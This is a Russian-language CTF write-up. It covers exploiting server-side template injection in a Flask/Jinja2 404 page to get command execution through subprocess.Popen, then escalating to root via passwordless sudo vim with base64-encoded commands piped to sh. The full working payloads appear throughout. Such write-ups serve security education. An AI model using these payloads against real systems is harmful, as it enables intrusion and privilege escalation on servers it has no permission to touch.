# [web] On takeoff 1 & 2! ![Таск](https://i.imgur.com/LFHXSMD.png) Итак, сразу к делу (╯°□°)╯︵ ┻━┻ ## На взлет Быстро отркываем landing.ctf.potee.ru (пока он не упал) и смотрим что тут есть. ![Сайт](https://i.imgur.com/3Z59gaC.png) Тыкаем все что тыкается, понимаем кнопки ничего не делают и ~~закрываем~~ совершенно случайно обнаруживаем страницу с ошибкой 404. ![404](https://i.imgur.com/KQQtbzw.png) Видим что значение из URL отражается на странице, вводим что-то типа `{{5 * 5}}` На выходе получаем 25 о_0 ![25](https://i.imgur.com/A2KgJ9O.png) Значит тут [SSTI](https://portswigger.net/web-security/server-side-template-injection) ## Работаем по шаблону По графику видим что тут скорее всего шаблонизатор Jinja2 (встречается чаще всего) ![График определения шаблонизатора](https://i.imgur.com/nZxe0qC.png) Впишем в URL `{{config.items()}}`, в результате получим словарь с конфигурационными значениями flask. ![Конфиг](https://i.imgur.com/xOVvAOr.png) > Если до вас никто не решал этот таск, то у вас будет меньше значений, так как еще никто не подключил библиотеку os Подключаем библиотеку os с помощью `{{ config.from_object('os') }}*` Далее пишем `{{ ''.__class__.__mro__}}`, это выведет список существующих классов. ![Классы](https://i.imgur.com/Q38CL6A.png) Нам нужны подклассы класса `object`, пишем `{{''.__class__.__mro__[1].__subclasses__() }}` ![Подклассы](https://i.imgur.com/hhlYLZu.png) Получаем список, в нем ищем что-то, что позволит исполнять команды В данном случае это `subprocess.Popen` Теперь нужно узнать какой у него номер в этом списке. Для этого пишем `{{ .__class__.__mro__[1].__subclasses__()[266:] }}` и подбираем такое число, чтобы `subprocess.Popen` был в начале списка. Получается `{{ ''.__class__.__mro__[1].__subclasses__()[394:] }}` **394** номер ![394](https://i.imgur.com/XM78Gw7.png) ## RCE Теперь когда мы нашли нужны класс, попробуем выполнить команду на сервере ``` {{ ''.__class__.__mro__[1].__subclasses__()[394]('whoami',shell=True,stdout=-1).communicate() }} ``` ![rce](https://i.imgur.com/EHV5zPt.png) Команда исполнилась! Теперь найдем и прочитаем флаг ``` {{ ''.__class__.__mro__[1].__subclasses__()[394]('ls',shell=True,stdout=-1).communicate() }} ``` ![ls](https://i.imgur.com/ZiPxUgm.png) ``` {{ ''.__class__.__mro__[1].__subclasses__()[394]('cat user_flag.txt',shell=True,stdout=-1).communicate() }} ``` ![user_flag](https://i.imgur.com/XLvVQmd.png) Первый флаг мы получили! Но нам этого мало, нам нужно все. # Повышаем привелегии Проверяем какие программы нам доступны с правами рута без пароля ``` {{ ''.__class__.__mro__[1].__subclasses__()[394]('sudo -l',shell=True,stdout=-1).communicate() }} ``` ![VIM :D](https://i.imgur.com/HO2hqHR.png) Видим что мы можем запускать `/usr/bin/vim` от имени рута без пароля. Мы можем повысить свои привелегии с его помощью, так как он умеет выполнять системные команды. Просто пишем в гугле что-то типа vim privesc и попадаем на известный сайт https://gtfobins.github.io/gtfobins/vim/ ![gtfobins](https://i.imgur.com/zvQiTFS.png) Первый вариант нам подойдет, но если мы попробуем его вставить в URL то получим ошибку, так как шаблонизатор не может обработать знаки. Придется от них избавиться :D Преобразуем строку `sudo /usr/bin/vim -c ':!ls /root/'` в base64 и пишем такую команду ``` {{ ''.__class__.__mro__[1].__subclasses__()[394]('echo c3VkbyAvdXNyL2Jpbi92aW0gLWMgJzohbHMgL3Jvb3QvJw== | base64 -d | sh',shell=True,stdout=-1).communicate() }} ``` ![504](https://i.imgur.com/wF6MD22.png) Обнаруживаем что страница долго висит а потом падает в 504. Это происходит из-за того что vim работает в интерактивном режиме, а браузер его не поддерживает. В итоге нам нужно переделать команду так, что-бы vim выполнял команду и закрывался без перехода в интерактивный режим Немного изучив документацию vim'а у меня получилась такая команда ``` sudo /usr/bin/vim --cmd ':!ls /root/' -ec 'qa!' ``` Конечный результат ``` {{ ''.__class__.__mro__[1].__subclasses__()[394]('echo c3VkbyAvdXNyL2Jpbi92aW0gLS1jbWQgJzohbHMgL3Jvb3QvJyAtZWMgJ3FhISc= | base64 -d | sh',shell=True,stdout=-1).communicate() }} ``` ![root](https://i.imgur.com/hKg3YMh.png) ~~Я получил власть которая и не снилась моему отцу~~ Все работает! Забираем флаг ``` sudo /usr/bin/vim --cmd ':!cat /root/root_flag.txt' -ec 'qa!' ``` ``` {{ ''.__class__.__mro__[1].__subclasses__()[394]('echo c3VkbyAvdXNyL2Jpbi92aW0gLS1jbWQgJzohY2F0IC9yb290L3Jvb3RfZmxhZy50eHQnIC1lYyAncWEhJw== | base64 -d | sh',shell=True,stdout=-1).communicate() }} ``` ![root_flag](https://i.imgur.com/VGWxBAz.png) --- :sunglasses: by [@nullzur](https://t.me/Nullzur)